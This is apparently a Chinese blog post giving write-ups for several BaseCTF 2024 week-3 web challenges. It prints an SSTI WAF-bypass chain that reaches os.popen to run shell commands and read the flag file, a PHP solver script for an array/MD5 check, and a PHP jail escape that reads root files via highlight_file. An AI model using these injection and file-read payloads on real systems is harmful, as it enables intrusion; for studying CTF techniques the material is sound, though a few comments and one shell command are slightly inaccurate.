2024basectf[week3]

1、复读机

这题页面是一个



之后在网络中可以看到这个网页的处理器是python





而且flag中还有类似于{}这样的字眼,而且还是python处理的,所以就想到了ssti



果然,出现了waf,所以基本上就是这个思路
+ - * / . {{ }} __ : " \ 这些好像都被过滤了,还有一些关键字也被过滤了,可以在关键字中间插入一对单引号''来进行绕过
{{}}也被过滤了,可以用{%print(...)%}模板进行绕过

于是构造BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']())%}
因为题目无法显示完全,所以这里通过抓包来获取输出页面



然后找到能够rce的类(如:<class 'os._wrap_close'>

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}
执行成功

现在的问题就是根目录 / 被过滤了
此时注意到上条命令执行的结果中有个 / 然后,这里我们可以用一个截取函数 expr substr来截取这个字符
payload:

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

2、滤个不停

这题就是一个日志包含,很简单,可以去找找相关的资料然后做这个题

3、玩原神玩的

题目源码

 <?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
  
  echo json_encode($flag);
} 

首先看这个

if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

如果传入的len(数组)长度等于$array的长度,那么就进入ys_open()函数
接着看ys_open()函数

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

如果$tip==我要玩原神,则执行dumpFlag()函数
最后来看dumpFlag()函数

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }   //m的值必须设置,并且长度不能为2,否则中止程序运行
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
      //将m的第一个值赋给$a,将m的第二个值赋给$b
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
      //$a的值,$b的值不能为空,$a的值不能等于100%,$b的值不能等于love100%.md5($a),否则终止程序运行
  include 'flag.php';
  $flag[] = array();
      //初始化一个空数组$flag
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
      //ord($array[$ii]):返回每一个数组元素的ascii值
      //md5(ord($array[$ii]) ^ $ii):将返回的ascii值跟索引进行异或运算(二进制位相同返回0,不同返回1)
  echo json_encode($flag);
      //将数组转化为JSON格式的字符串,如`$a=[  'item1' => 'abc123','item2' => 'xyz789'];`经过JSON_encode函数后变成`{"item1":"abc123","item2":"xyz789"}`
} 

最后的payload

<?php
highlight_file(__FILE__);
include 'flag.php';

$challenge_url = "http://challenge.basectf.fun:48221/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
    $post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)

$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"

$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';

$curl = curl_init();

curl_setopt_array($curl, [
    CURLOPT_URL => $challenge_url . $get,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_POSTFIELDS => $post,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
    ],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);

if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';

for ($ii = 0; $ii < count($md5_array); $ii++) {
    for ($ascii = 0; $ascii < 256; $ascii++) {
        if (md5($ascii ^ $ii) === $md5_array[$ii]) {
            $flag .= chr($ascii);
            break;
        }
    }
}

echo "Flag: " . $flag;

4、ez_php_jail

题目代码

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

首先$Jail = $_GET['Jail_by.Happy'];
php版本小于8的时候,GET请求的参数含有. [ ,会被转化为 _,但是参数名中有 [ ,这个 [ 会直接转化为 _ ,但是后面有个 . ,这个 . 就不会转化为 _
所以可以用Jail[by.Happy 绕过
现在考虑如何得到flag,在页面源码中可以看见一个文件,highlight_file函数可以完美绕过
最后的payload
?Jail[by.Happy=highlight_file(glob("/f*")[0]);
glob("/f*") 这部分使用了glob模块,它会根据给定的模式返回匹配文件路径列表。/f*的意思是查找根目录(/)下以字母f开头的文件或者文件夹,
[0]表示索引
highlight_file():这是一个php中的一个函数,用来显示文件的内容,
所以这个payload的意识就是:获取根目录中第一个以f开头的文件,然后使用highlight_file()函数来显示该文件的内容,并进行语法点亮

posted @ 2024-09-10 22:14  lcmz  阅读(288)  评论(0)    收藏  举报